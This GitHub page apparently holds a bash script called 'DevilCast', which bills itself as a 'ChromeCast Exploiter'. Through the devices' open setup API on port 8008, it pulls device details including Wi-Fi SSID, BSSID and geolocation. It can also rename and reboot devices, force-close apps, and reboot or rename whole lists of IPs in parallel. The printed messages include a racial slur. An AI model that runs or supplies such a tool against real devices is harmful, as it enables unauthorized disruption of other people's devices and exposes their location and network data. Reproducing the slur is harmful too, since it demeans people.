-
Notifications
You must be signed in to change notification settings - Fork 1
/
devilcast.sh
executable file
·221 lines (193 loc) · 5.6 KB
/
devilcast.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
#!/bin/bash
# DevilCast v1.1
# Release on 13/01/2019
# Github: github.com/aryanrtm/DevilCast
# © Copyright ~ 4WSec
# color
PP='\033[95m' # purple
CY='\033[96m' # cyan
BL='\033[94m' # blue
GR='\033[92m' # green
YW='\033[93m' # yellow
RD='\033[91m' # red
NT='\033[97m' # netral
O='\e[0m' # nothing
B='\e[5m' # blink
U='\e[4m' # underline
clear
p0rt=8008
con=1
threads=10
function header(){
printf "${YW}
|\___/|
) ( ${RD}${U}[ ChromeCast Exploiter ]${O}${YW}
=\ /=
)${PP}===${YW}(
/ \
| |
/ \
\ /
\__ _/ ${PP}Author : ${CY}${U}4WSec${O}${YW}
( ( ${PP}Codename : ${CY}${U}DevilCast${O}${YW}
) )
(_(
"
}
function info_device(){
curl -s -L "${iP}:${p0rt}/ssdp/device-desc.xml" >> info_device_results.tmp
if [[ -z $(cat info_device_results.tmp) ]]; then
printf " ${RD}[!] ${YW}Error, Try Again.\n"
rm info_device_results.tmp
exit
else
printf "${CY}Target IP : ${RD}$iP \n"
printf "${CY}Device Name : ${RD}$(cat info_device_results.tmp | grep -Po '(?<=<friendlyName>).*?(?=<)') \n"
printf "${CY}Manufacturer : ${RD}$(cat info_device_results.tmp | grep -Po '(?<=<manufacturer>).*?(?=<)') \n"
printf "${CY}Model Name : ${RD}$(cat info_device_results.tmp | grep -Po '(?<=<modelName>).*?(?=<)') \n"
printf "${NT}................................................\n"
fi
}
function info_device2(){
curl -s -L "${iP}:${p0rt}/setup/eureka_info" >> info_device2_results.tmp
if [[ -z $(cat info_device2_results.tmp) ]]; then
printf " ${RD}[!] ${YW}Error, Try Again.\n"
rm info_device2_results.tmp
exit
else
printf "${CY}BSSID : ${RD}$(cat info_device2_results.tmp | grep -Po '(?<="bssid":").*?(?=")') \n"
printf "${CY}Locale : ${RD}$(cat info_device2_results.tmp | grep -Po '(?<="locale":").*?(?=")') \n"
printf "${CY}Country Code : ${RD}$(cat info_device2_results.tmp | grep -Po '(?<="country_code":").*?(?=")') \n"
printf "${CY}Latitude : ${RD}$(cat info_device2_results.tmp | grep -Po '(?<="latitude":).*?(?=,)') \n"
printf "${CY}Longitude : ${RD}$(cat info_device2_results.tmp | grep -Po '(?<="longitude":).*?(?=})') \n"
printf "${CY}Signal Level : ${RD}$(cat info_device2_results.tmp | grep -Po '(?<="signal_level":).*?(?=,)') \n"
printf "${CY}SSID : ${RD}$(cat info_device2_results.tmp | grep -Po '(?<="ssid":").*?(?=")') \n"
printf "${CY}Timezone : ${RD}$(cat info_device2_results.tmp | grep -Po '(?<="timezone":").*?(?=")') \n"
printf "${CY}Uptime : ${RD}$(cat info_device2_results.tmp | grep -Po '(?<="uptime":).*?(?=,)') \n"
fi
}
function rename_device(){
read -p "Enter a New Name: " n4m3;
local cok=$(curl -s -X POST $iP:8008/setup/set_eureka_info --data-binary '{"name":"'$n4m3'"}' -H "Content-Type: application/json")
printf "${RD}[*]${GR} Rename The Device ... \n"
}
function reboot_device(){
local cok=$(curl -s -X POST $iP:8008/setup/set_eureka_info --data-binary '{"params":"now"}' -H "Content-Type: application/json")
printf "${RD}[*]${GR} Turn Off The Device ... \n"
}
function mass_reboot_device(){
printf "${RD}Reboot The Nigga ${NT}~> ${YW}${wha}:${p0rt} \n"
local cok=$(curl -s -X POST $wha:8008/setup/set_eureka_info --data-binary '{"params":"now"}' -H "Content-Type: application/json")
}
function l00p_mass_reboot(){
echo ""
read -p " [*] Enter IP List: " iP_liST;
if [[ ! -e $iP_liST ]]; then
printf " ${RD}[!] ${YW}File Not Found\n"
exit
fi
echo ""
for wha in $(cat $iP_liST); do
fast=$(expr $con % $threads)
if [[ $fast == 0 && $con > 0 ]]; then
sleep 2
fi
mass_reboot_device &
con=$[$con+1]
done
wait
}
function mass_rename_device(){
printf "${RD}Rename The Nigga ${NT}~> ${YW}${wha}:${p0rt} \n"
local cok=$(curl -s -X POST $wha:8008/setup/set_eureka_info --data-binary '{"name":"'$n4m3'"}' -H "Content-Type: application/json")
}
function l00p_mass_rename(){
echo ""
read -p " [*] Enter IP List: " iP_liST;
if [[ ! -e $iP_liST ]]; then
printf " ${RD}[!] ${YW}File Not Found\n"
exit
fi
read -p " [*] Enter a New Name: " n4m3;
if [[ -z $n4m3 ]]; then
printf " ${RD}[!] ${YW}Error, Try Again.\n"
exit
fi
echo ""
for wha in $(cat $iP_liST); do
fast=$(expr $con % $threads)
if [[ $fast == 0 && $con > 0 ]]; then
sleep 2
fi
mass_rename_device &
con=$[$con+1]
done
wait
}
function app_device(){
printf "
List App (>'-')>
1) Google Play Music
2) Youtube
3) Netflix
"
read -p "nyan> " whut;
if [[ $whut == 1 ]]; then
curl -s -L --request DELETE "${iP}:${p0rt}/apps/GoogleMusic"
printf "${RD}[*]${GR} Turn Off Google Play Music ... \n"
elif [[ $whut == 2 ]]; then
curl -s -L --request DELETE "${iP}:${p0rt}/apps/Youtube"
printf "${RD}[*]${GR} Turn Off Youtube ... \n"
elif [[ $whut == 3 ]]; then
curl -s -L --request DELETE "${iP}:${p0rt}/apps/Netflix"
printf "${RD}[*]${GR} Turn Off Netflix ... \n"
else
printf " ${RD}[!] ${YW}Error, Try Again.\n"
exit
fi
}
function menu(){
printf "${GR}
Hellcome Bro (>'-')>
1) Reboot Device
2) Rename Device
3) Turn Off The App
"
read -p " nyan> " nyan;
if [[ $nyan == 1 ]]; then
reboot_device
elif [[ $nyan == 2 ]]; then
rename_device
elif [[ $nyan == 3 ]]; then
app_device
else
printf " ${RD}[!] ${YW}Error, Try Again.\n"
exit
fi
}
function choices(){
printf "${GR}
1) Single Target
2) Mass Rename Device
3) Mass Reboot Device
"
read -p " nyan> " yeah;
if [[ $yeah == 1 ]]; then
echo ""
read -p " [*] Target IP: " iP;
echo ""
info_device
info_device2
rm -f info_device*
menu
elif [[ $yeah == 2 ]]; then
l00p_mass_rename
elif [[ $yeah == 3 ]]; then
l00p_mass_reboot
else
printf " ${RD}[!] ${YW}Error, Try Again.\n"
exit
fi
}
header
choices